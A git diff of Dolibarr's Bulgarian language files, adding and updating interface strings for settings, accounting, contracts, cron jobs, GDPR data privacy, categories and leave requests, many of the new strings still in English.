      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Обърнете внимание, че вашият IP файл с данни за държавата трябва да е в директория, която може да се чете от PHP (проверете настройките на вашата PHP open_basedir и правата на файловата система). YouCanDownloadFreeDatFileTo=Може да изтеглите безплатна демо версия на Maxmind GeoIP файла за държавата от %s. YouCanDownloadAdvancedDatFileTo=Може също така да изтеглите по-пълна версия, с актуализации на Maxmind GeoIP файла за държавата от %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Асистент за създаване на dump файл н BackupZipWizard=Асистент за създаване на архив на директорията "documents" SomethingMakeInstallFromWebNotPossible=Инсталирането на външен модул не е възможно от уеб интерфейса, поради следната причина: SomethingMakeInstallFromWebNotPossible2=Поради тази причина описаният тук процес за актуализация е ръчен процес, който може да се изпълнява само от потребител със съответните права. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Инсталирането на външен модул в приложението е деактивирано от администратора на системата. Трябва да го помолите да премахне файла %s, за да разреши тази функция. ConfFileMustContainCustom=Инсталирането или създаването на външен модул в приложението е необходимо да съхрани файловете на модула в директорията %s. За да се обработва тази директория от Dolibarr, трябва да настроите вашият conf/conf.php файл да съдържа двете директивни линии:
      $dolibarr_main_url_root_alt = '/custom';
      $dolibarr_main_document_root_alt = '%s/custom'; HighlightLinesOnMouseHover=Маркиране на редове в таблица, когато мишката преминава отгоре @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Премахване на специални символи COMPANY_AQUARIUM_CLEAN_REGEX=Regex филтър за изчистване на стойността (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex филтър за чиста стойност (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Дублирането не е позволено +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Длъжностно лице по защита на данните (DPO, защита на лични данни или GDPR контакт) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Подсказка @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Директория / Цел в пощенската к EmailcollectorOperations=Операции за извършване от колекционера EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Максимален брой събрани имейли при колекциониране +TestCollectNow=Test collect CollectNow=Колекциониране ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Код на последния резултат NbOfEmailsInInbox=Брой имейли в директорията източник LoadThirdPartyFromName=Зареждане на името на контрагента от %s (само за зареждане) LoadThirdPartyFromNameOrCreate=Зареждане на името на контрагента от %s (да се създаде, ако не е намерено) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Ако искате да имате някои текстове във вашия PDF файл, дублирани на 2 различни езика в един и същ генериран PDF файл, трябва да посочите тук този втори език, така че генерираният PDF файл да съдържа 2 различни езика на една и съща страница, избраният при генериране на PDF и този (само няколко PDF шаблона поддържат това). Запазете празно за един език в PDF файла. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Въведете тук кода за FontAwesome икона. Ако не знаете какво е FontAwesome, може да използвате стандартната стойност fa-address book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Препоръчителна NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Настройка на инвентаризация ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Настройки WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/bg_BG/categories.lang b/htdocs/langs/bg_BG/categories.lang index 54b1c2e7f70..0346e451330 100644 --- a/htdocs/langs/bg_BG/categories.lang +++ b/htdocs/langs/bg_BG/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Този член не е свързан с нито еди ContactHasNoCategory=Този контакт не е свързан с нито един таг / категория ProjectHasNoCategory=Този проект не е свързан с нито един таг / категория ClassifyInCategory=Добавяне към таг / категория +RemoveCategory=Remove category NotCategorized=Без таг / категория CategoryExistsAtSameLevel=Тази категория вече съществува ContentsVisibleByAllShort=Съдържанието е видимо от всички @@ -67,6 +68,7 @@ StockCategoriesShort=Тагове / Категории ThisCategoryHasNoItems=Тази категория не съдържа никакви елементи CategId=Идентификатор на таг / категория ParentCategory=Parent tag/category +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label of parent tag/category CatSupList=List of vendors tags/categories CatCusList=List of customers/prospects tags/categories @@ -86,15 +88,18 @@ DeleteFromCat=Изтриване от таг / категория ExtraFieldsCategories=Допълнителни атрибути CategoriesSetup=Настройка на тагове / категории CategorieRecursiv=Автоматично свързване с главния таг / категория -CategorieRecursivHelp=Ако опцията е включена, когато добавите продукт в подкатегория, продуктът ще бъде добавен също и в главната категория. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Добавяне на следния продукт / услуга AddCustomerIntoCategory=Assign category to customer AddSupplierIntoCategory=Assign category to supplier +AssignCategoryTo=Assign category to ShowCategory=Показване на таг / категория ByDefaultInList=По подразбиране в списъка ChooseCategory=Избиране на категория StocksCategoriesArea=Warehouse Categories +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Event Categories WebsitePagesCategoriesArea=Page-Container Categories KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Use 'OR' operator for categories +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/bg_BG/commercial.lang b/htdocs/langs/bg_BG/commercial.lang index fff70536142..4846ef349c3 100644 --- a/htdocs/langs/bg_BG/commercial.lang +++ b/htdocs/langs/bg_BG/commercial.lang @@ -37,7 +37,7 @@ ToDoActions=Незавършени събития SendPropalRef=Изпращане на търговско предложение %s SendOrderRef=Изпращане на поръчка %s StatusNotApplicable=Не се прилага -StatusActionToDo=Да се направи +StatusActionToDo=За извършване StatusActionDone=Завършено StatusActionInProcess=В процес TasksHistoryForThisContact=Събития за този контакт @@ -64,17 +64,26 @@ ActionAC_SHIP=Изпращане на пратка по пощата ActionAC_SUP_ORD=Изпращане на поръчка за покупка по пощата ActionAC_SUP_INV=Изпращане на фактура за доставка по пощата ActionAC_OTH=Друго -ActionAC_OTH_AUTO=Автоматично добавени +ActionAC_OTH_AUTO=Other auto ActionAC_MANUAL=Ръчно добавени ActionAC_AUTO=Автоматично добавени -ActionAC_OTH_AUTOShort=Автоматично +ActionAC_OTH_AUTOShort=Други +ActionAC_EVENTORGANIZATION=Event organization events Stats=Статистика от продажби StatusProsp=Статус на потенциален клиент DraftPropals=Чернови търговски предложения NoLimit=Няма лимит ToOfferALinkForOnlineSignature=Връзка за онлайн подпис -WelcomeOnOnlineSignaturePage=Добре дошли на страницата за приемане на търговски предложения от %s -ThisScreenAllowsYouToSignDocFrom=Този екран позволява да приемете и подпишете или да отхвърлите оферта / търговско предложение -ThisIsInformationOnDocumentToSign=Това е информация за документа, който да приемете или отхвърлите. +WelcomeOnOnlineSignaturePageProposal=Добре дошли на страницата за приемане на търговски предложения от %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Този екран позволява да приемете и подпишете или да отхвърлите оферта / търговско предложение +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Това е информация за документа, който да приемете или отхвърлите. +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Подписване на оферта / търговско предложение %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Функцията за онлайн подписване е деактивирана или документът е генериран преди активирането на функцията diff --git a/htdocs/langs/bg_BG/compta.lang b/htdocs/langs/bg_BG/compta.lang index e781fa76474..5e537394d3f 100644 --- a/htdocs/langs/bg_BG/compta.lang +++ b/htdocs/langs/bg_BG/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Баланс (преди) Balance=Баланс Debit=Дебит Credit=Кредит +AccountingDebit=Дебит +AccountingCredit=Кредит Piece=Счетоводен документ AmountHTVATRealReceived=Получен (нето) AmountHTVATRealPaid=Платен (нето) @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Изтриване на плащане за социален или фискален данък DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Социални / фискални данъци и плащания CalcModeVATDebt=Режим %sДДС върху осчетоводени задължения%s CalcModeVATEngagement=Режим %sДДС върху приходи - разходи%s @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Отчетът за обор TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Отчетът за оборот, натрупан от данък върху продажбите, не е наличен. Този отчет е наличен само за фактуриран оборот. CalculationMode=Режим на изчисление AccountancyJournal=Счетоводен код на журнал -ACCOUNTING_VAT_SOLD_ACCOUNT=Счетоводна сметка по подразбиране за ДДС при продажби (използва се, ако не е определена при настройка на речника за ДДС) -ACCOUNTING_VAT_BUY_ACCOUNT=Счетоводна сметка по подразбиране за ДДС при покупки (използва се, ако не е определена при настройка на речника за ДДС) -ACCOUNTING_VAT_PAY_ACCOUNT=Счетоводна сметка по подразбиране за плащане на ДДС -ACCOUNTING_ACCOUNT_CUSTOMER=Счетоводна сметка, използвана за контрагенти, които са клиенти +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Специализираната счетоводна сметка, определена в картата на контрагента, ще се използва само за счетоводно отчитане на подсметка. Този ще бъде използван за главната книга и като стойност по подразбиране на подсметката за счетоводното отчитане, ако не е дефинирана специализирана счетоводна сметка за клиента. -ACCOUNTING_ACCOUNT_SUPPLIER=Счетоводна сметка, използвана за контрагенти, които са доставчици +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Специализираната счетоводна сметка, определена в картата на контрагента, ще се използва само за счетоводно отчитане на подсметка. Този ще бъде използван за главната книга и като стойност по подразбиране на подсметката за счетоводното отчитане, ако не е дефинирана специализирана счетоводна сметка за доставчика. ConfirmCloneTax=Потвърдете клонирането на социален/фискален данък ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/bg_BG/contracts.lang b/htdocs/langs/bg_BG/contracts.lang index d8a88714009..d7d2e316617 100644 --- a/htdocs/langs/bg_BG/contracts.lang +++ b/htdocs/langs/bg_BG/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Договори / Абонаменти ContractsAndLine=Договори и договорни линии Contract=Договор ContractLine=Договорна линия +ContractLines=Contract lines Closing=Прекратяване NoContracts=Няма договори MenuServices=Услуги @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Сигурни ли сте, че искате да и MoveToAnotherContract=Преместване на услуга в друг договор. ConfirmMoveToAnotherContract=Избрах нов целеви договор и потвърждавам, че искам да преместя тази услуга в този договор. ConfirmMoveToAnotherContractQuestion=Изберете в кой съществуващ договор (на същия контрагент) искате да преместите тази услуга? -PaymentRenewContractId=Подновяване на договорна линия (№ %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Дата на изтичане NoExpiredServices=Няма изтекли активни услуги ListOfServicesToExpireWithDuration=Списък на услуги изтичащи в следващите %s дни @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Контакт на клиента (п HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/bg_BG/cron.lang b/htdocs/langs/bg_BG/cron.lang index 797d98b0ff3..0a21382679a 100644 --- a/htdocs/langs/bg_BG/cron.lang +++ b/htdocs/langs/bg_BG/cron.lang @@ -26,7 +26,7 @@ CronCommand=Команда CronList=Планирани задачи CronDelete=Изтриване на планирани задачи CronConfirmDelete=Сигурни ли сте, че искате да изтриете тези планирани задачи? -CronExecute=Стартиране на планирана задача +CronExecute=Launch now CronConfirmExecute=Сигурни ли сте, че искате да изпълните тези планирани задачи сега? CronInfo=Модулът за планирани задачи позволява да планирате задача и да я изпълните автоматично. Задачата може да се стартира и ръчно. CronTask=Задача @@ -58,7 +58,7 @@ CronNote=Коментар CronFieldMandatory=Полета %s са задължителни CronErrEndDateStartDt=Крайната дата не може да бъде преди началната дата StatusAtInstall=Състояние при инсталиране на модула -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Деактивиране CronTaskInactive=This job is disabled (not scheduled) CronId=Идентификатор @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Отидете в меню 'Нач JobDisabled=Задачата е деактивирана MakeLocalDatabaseDumpShort=Архивиране на локална база данни MakeLocalDatabaseDump=Създаване на локална база данни. Параметрите са: компресия ('gz' or 'bz' or 'none'), вид архивиране ('mysql', 'pgsql', 'auto'), 1, 'auto' или име на файла за съхранение, брой резервни файлове, които да се запазят +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Внимание, за целите на изпълнението, каквато и да е следващата дата на изпълнение на активирани задачи, вашите задачи могат да бъдат забавени до максимум %s часа, преди да бъдат стартирани. DATAPOLICYJob=Почистване на данни и анонимност JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/bg_BG/datapolicy.lang b/htdocs/langs/bg_BG/datapolicy.lang new file mode 100644 index 00000000000..1cb2ab6c200 --- /dev/null +++ b/htdocs/langs/bg_BG/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Клиент +DATAPOLICY_TIERS_PROSPECT = Потенциален клиент +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Доставчик +DATAPOLICY_CONTACT_CLIENT = Клиент +DATAPOLICY_CONTACT_PROSPECT = Потенциален клиент +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Доставчик +DATAPOLICY_ADHERENT = Член +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/bg_BG/dict.lang b/htdocs/langs/bg_BG/dict.lang index 2c3a9ecbe8e..ebd661a5685 100644 --- a/htdocs/langs/bg_BG/dict.lang +++ b/htdocs/langs/bg_BG/dict.lang @@ -21,7 +21,7 @@ CountryNL=Холандия CountryHU=Унгария CountryRU=Русия CountrySE=Швеция -CountryCI=Кот д'Ивоар +CountryCI=Ivory Coast CountrySN=Сенегал CountryAR=Аржентина CountryCM=Камерун @@ -250,7 +250,9 @@ CountryMF=Свети Мартин ##### Civilities ##### CivilityMME=г-жа +CivilityMMEShort=г-жа CivilityMR=г-н +CivilityMRShort=г-н CivilityMLE=г-ца CivilityMTRE=м-р CivilityDR=д-р diff --git a/htdocs/langs/bg_BG/ecm.lang b/htdocs/langs/bg_BG/ecm.lang index 3744f31660a..a8cb3ebaed8 100644 --- a/htdocs/langs/bg_BG/ecm.lang +++ b/htdocs/langs/bg_BG/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Ръчно създадена директория ECMSectionAuto=Автоматично създадена директория ECMSectionsManual=Ръчно създадено дърво ECMSectionsAuto=Автоматично създадено дърво +ECMSectionsMedias=Medias tree ECMSections=Директории ECMRoot=Основна директория ECMNewSection=Нова директория @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Брой файлове в поддиректориите ECMCreationUser=Създател ECMArea=Документи ECMAreaDesc=Секцията DMS / ECM (Система за управление на документи / Електронно управление на съдържание) позволява да съхранявате, споделяте и бързо да откривате всички видове документи в системата. -ECMAreaDesc2=* Автоматично създадените директории се попълват автоматично при добавяне на документи в картата на даден елемент.
      * Ръчно създадените директории могат да бъдат използвани, за да съхранявате документи, които не са свързани с определен елемент. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Директорията %s е изтрита. ECMSectionWasCreated=Директорията %s е създадена. ECMSearchByKeywords=Търсене по ключови думи diff --git a/htdocs/langs/bg_BG/holiday.lang b/htdocs/langs/bg_BG/holiday.lang index 1262acd3b8a..038c21f5310 100644 --- a/htdocs/langs/bg_BG/holiday.lang +++ b/htdocs/langs/bg_BG/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=ЧР -Holidays=Отпуски +Holidays=Leaves +Holiday=Leave CPTitreMenu=Отпуски MenuReportMonth=Месечно извлечение MenuAddCP=Нова молба за отпуск +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Необходимо е да активирате модула 'Отпуски', за да видите тази страница. AddCP=Кандидатстване за отпуск DateDebCP=Начална дата @@ -56,6 +58,7 @@ ConfirmDeleteCP=Сигурни ли сте, че искате да изтрие ErrorCantDeleteCP=Грешка: нямате необходимите права, за да изтриете тази молба за отпуск. CantCreateCP=Нямате право да създавате молби за отпуск. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Необходимо е да изберете начална дата. NoDateFin=Необходимо е да изберете крайна дата. ErrorDureeCP=Вашата молба за отпуск не съдържа работен ден. @@ -79,6 +82,8 @@ MotifCP=Причина UserCP=Потребител ErrorAddEventToUserCP=Възникна грешка при добавяне на извънреден отпуск. AddEventToUserOkCP=Добавянето на извънредния отпуск е завършено. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=История на промените LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Предишен баланс NewSoldeCP=Нов баланс alreadyCPexist=Вече е създадена молба за отпуск в този период. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Групи +users=Потребители +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Молби за отпуск: %s последно променени @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative 